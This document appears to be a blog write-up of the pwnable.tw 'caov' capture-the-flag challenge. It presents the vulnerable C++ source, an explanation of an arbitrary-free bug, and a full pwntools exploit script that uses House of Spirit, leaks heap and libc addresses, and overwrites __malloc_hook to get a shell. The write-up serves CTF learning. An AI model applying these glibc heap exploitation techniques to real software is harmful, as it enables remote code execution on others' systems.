ntype.club

caov

GNU/Linux respects your free(dom)

class Data
{
    public:
        Data():key(NULL) , value(0), change_count(0){ init_time(); }
        Data(string k, int v)
        {
            key = new char[k.length() + 1];
            strcpy(key, k.c_str());
            value = v;
            change_count = 0;
            update_time();
        }
        Data operator=(const Data &rhs)
        {
            key = new char[strlen(rhs.key)+1];
            strcpy(key, rhs.key);
            value = rhs.value;
            change_count = rhs.change_count;
            year  = rhs.year;
            month = rhs.month;
            day   = rhs.day;
            hour  = rhs.hour;
            min   = rhs.min;
            sec   = rhs.sec;
        }
//...
	~Data()
        {
            delete[] key;
            key = nullptr;
            value = 0;
            change_count = 0;
            init_time();
        }
}

void set_name()
{
    char tmp[160]={};
    char c;
    cout << "Enter your name: ";
    int cnt = 0;
    while(1)
    {
        int len = read(0, &c, 1);
        if(len != 1)
        {
            cout << "Read error" << endl;
            exit(-1);
        }
        tmp[cnt++] = c;
        if(c == '\n' || cnt == 150)
        {
            tmp[cnt-1] = '\0';
            break;            
        }
    }
    memcpy(name, tmp, cnt);
}

void edit()
{
    Data old;
    old = *D;
    D->edit_data();
    cout << "\nYour data info before editing:" << endl;
    old.info();
    cout << "\nYour data info after editing:" << endl;
    D->info();
}

void playground()
{
    int choice = 0;
    while(1)
    {
        cout << "\nMenu" << endl;
        cout << "1. Show name & data" << endl;
        cout << "2. Edit name & data" << endl;
        cout << "3. Exit" << endl;
        cout << "Your choice: ";
        cin >> choice;
        getchar();
        switch(choice)
        {
            case 1:
                cout << "\nYour name is : "<< name << endl;
                cout << "Your data :" << endl;
                D->info();
                break;
            case 2:
                set_name();
                edit();
                break;
            case 3:
                cout << "Bye !" << endl;
                return;
            default:
                cout << "Invalid choice !" << endl;
                exit(0);
        }
    }
}

The source is provided in this challenge but the bug isn’t immediately apparent. For brevity, I just included the vulnerable section.

In edit() there’s a copy on assignment operator but due to C++ trickery two Data objects are created on the stack, with one remaining uninitialized. This allows corruption of the key pointer from the preceding set_name() call which gets passed as the parameter to free() in the destructor. It’s a huge pain to understand without drilling into the binary but the end result is that arbitrary pointers can be free’d. If the heap address can be leaked we can trivially gain control of the program.

Leaking the heap pointer requires abusing House of Spirit to free fake fastbin chunks created in the 160 byte name buffer. If the key pointer of the global Data object can be corrupted to point to the name buffer and then subsequently freed, we can leak the next free chunk in our fastbin. Simply, the global Data key pointer is set to our fake chunk with size 0x21, then editing the size of our fake chunk to 0x41 and re’freeing it causes it to miraculously change fastbin buckets and leak the forward link from the key pointer.

Once the heap pointer is leaked, an entire playground opens up. Freeing the chunk associated with the global Data object and rewriting the key pointer to a got address leaks libc.

House of Spirit won’t allow a corruption of malloc hook because of the valid next chunk security check, however inspecting malloc_hook-0x23 shows an adhoc chunk of size 0x7f which neatly fits into one of our fastbin chunks. Rearranging our fake chunk into the appropriate fast bin and setting its forward pointer to just below malloc hook allows a gentle overwrite.

I originally solved this locally with an unsorted bin attack overwriting IO_LIST_ALL like in House of Orange but it failed on the remote server. I’m glad I rewrote it to only leverage fastbin as its much cleaner.

from pwn import *

#sh = process('./caov')
sh = remote('chall.pwnable.tw', 10306)
elf = ELF('./caov')
#pause()

def editnameshort(sh, name):
	sh.sendlineafter('choice: ', b'2')
	sh.sendlineafter('name: ', name)
	sh.sendlineafter('length: ', b'0')

def editname(sh, name, keylen, key, val):
	sh.sendlineafter('choice: ', b'2')
	sh.sendlineafter('name: ', name)
	sh.sendlineafter('length: ', str(keylen))
	sh.sendlineafter('Key: ', key)
	sh.sendlineafter('Value: ', str(val))
	sh.recvuntil('Menu')

def editnamenoskip(sh, name, keylen, key, val):
	sh.sendlineafter('choice: ', b'2')
	sh.sendlineafter('name: ', name)
	sh.sendlineafter('length: ', str(keylen))
	sh.sendlineafter('Key: ', key)
	sh.sendlineafter('Value: ', str(val))
#4


fakesmallchunk = p64(0) + p64(0x21) + b'\x00' * 16 + p64(0) + p64(0x20) + b'\x41' * 16 + b'\x41' * 32 + p64(0x6032d0) + b'\x41' * 24 
editchunk = p64(0) + p64(0x41) + p64(0) * 7 + p64(0x21) + b'\x41' * 16 + p64(0x6032d0) 

sh.sendlineafter('name: ', b'CCCC')
sh.sendlineafter('key: ', b'\0' + b'a' * 0x36)
sh.sendlineafter('value: ', b'21')
editname(sh, fakesmallchunk, 0x17, b'a' * 0x16, 21)
editnameshort(sh, editchunk)
sh.recvuntil('after editing')
sh.recvuntil('Key: ')
heapstr = sh.recvuntil('\n')
heapstr = heapstr[:len(heapstr)-1] + b'\x00' * (9-len(heapstr))
heap = u64(heapstr)
sh.recvuntil('Menu')

editnamenoskip(sh, p64(0) + b'A' * 88 + p64(heap+0x50), 0x35, p64(elf.got['setvbuf']), 21)
sh.recvuntil('after editing')
sh.recvuntil('Key: ')
libcstr = sh.recvuntil('\n')
libcstr = libcstr[:len(libcstr)-1] + b'\x00' * (9-len(libcstr))
libc = u64(libcstr)-0x6fe70
sh.recvuntil('Menu')

mhook = libc + 0x3c3b10
rce = libc + 0xef6c4

redochunk = p64(0) + p64(0x71) + p64(0) * 10 + p64(0x6032d0) + p64(0) * 2 + p64(0x21)
changechunk = p64(0) + p64(0x71) + p64(mhook-0x23) + p64(0) * 9 + p64(0) * 3 + p64(0x21)
editnameshort(sh, redochunk)
editnameshort(sh, changechunk)
editname(sh, p64(0)+p64(0x71)+p64(mhook-0x23), 94, b'A' * 4, 21)
editnamenoskip(sh, p64(0)+p64(0x71)+p64(mhook-0x23), 94, b'A' * 19 + p64(rce), 21)

sh.interactive()